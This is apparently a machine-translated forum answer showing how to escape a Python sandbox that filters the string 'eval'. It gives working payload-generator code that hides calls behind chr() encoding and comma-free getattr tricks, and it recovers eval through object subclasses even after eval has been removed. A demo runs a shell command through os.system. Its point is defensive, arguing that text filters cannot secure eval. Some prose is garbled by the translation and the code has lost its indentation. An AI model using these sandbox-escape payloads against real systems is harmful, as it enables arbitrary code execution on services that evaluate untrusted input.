一个类似于 goncalopp 的漏洞利用,但也满足字符串'eval'
不是漏洞利用的子字符串的限制:
def to_chrs(text):
return '+'.join('chr(%d)' % ord(c) for c in text)
def _make_getattr_call(obj, attr):
return 'getattr(*(list(%s for a in chr(1)) + list(%s for a in chr(1))))' % (obj, attr)
def make_exploit(code):
get = to_chrs('get')
builtins = to_chrs('__builtins__')
eval = to_chrs('eval')
code = to_chrs(code)
return (_make_getattr_call(
_make_getattr_call('globals()', '{get}') + '({builtins})',
'{eval}') + '({code})').format(**locals())
它使用 genexp 和元组解包的组合来调用getattr
两个参数而不使用逗号。
一个示例用法:
>>> exploit = make_exploit('__import__("os").system("echo $PWD")')
>>> print exploit
getattr(*(list(getattr(*(list(globals() for a in chr(1)) + list(chr(103)+chr(101)+chr(116) for a in chr(1))))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)) for a in chr(1)) + list(chr(101)+chr(118)+chr(97)+chr(108) for a in chr(1))))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(101)+chr(99)+chr(104)+chr(111)+chr(32)+chr(36)+chr(80)+chr(87)+chr(68)+chr(34)+chr(41))
>>> eval(exploit)
/home/giacomo
0
这证明了仅对使代码安全的文本定义限制是非常困难的。即使是这样的事情'eval' in code
也不安全。要么您必须完全消除执行函数调用的可能性,要么您必须从的环境中删除所有危险的内置函数。eval
我的漏洞利用还表明,即使您不能使用逗号,getattr
也一样糟糕eval
,因为它允许您随意进入对象层次结构。例如,eval
即使环境不提供,你也可以获得真正的功能:
def real_eval():
get_subclasses = _make_getattr_call(
_make_getattr_call(
_make_getattr_call('()',
to_chrs('__class__')),
to_chrs('__base__')),
to_chrs('__subclasses__')) + '()'
catch_warnings = 'next(c for c in %s if %s == %s)()' % (get_subclasses,
_make_getattr_call('c',
to_chrs('__name__')),
to_chrs('catch_warnings'))
return _make_getattr_call(
_make_getattr_call(
_make_getattr_call(catch_warnings, to_chrs('_module')),
to_chrs('__builtins__')),
to_chrs('get')) + '(%s)' % to_chrs('eval')
>>> no_eval = __builtins__.__dict__.copy()
>>> del no_eval['eval']
>>> eval(real_eval(), {'__builtins__': no_eval})
<built-in function eval>
即使您删除了所有内置函数,代码也会变得安全:
>>> eval(real_eval(), {'__builtins__': None})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
NameError: name 'getattr' is not defined
请注意,设置'__builtins__'
为None
还删除chr
,list
等tuple
。您的字符限制和 '__builtins__'
to的组合None
是完全安全的,因为用户无法访问任何内容。他不能使用.
、括号[]
或任何内置函数或类型。
即使我必须这样说,您可以评估的内容也非常有限。除了对数字进行运算之外,您无能为力。
可能从内置函数中删除eval
,getattr
和就足以chr
使代码安全,至少我想不出一种方法来编写不使用其中之一的漏洞利用程序。
“解析”方法可能更安全并提供更大的灵活性。例如,这个配方非常好,也很容易定制以添加更多限制。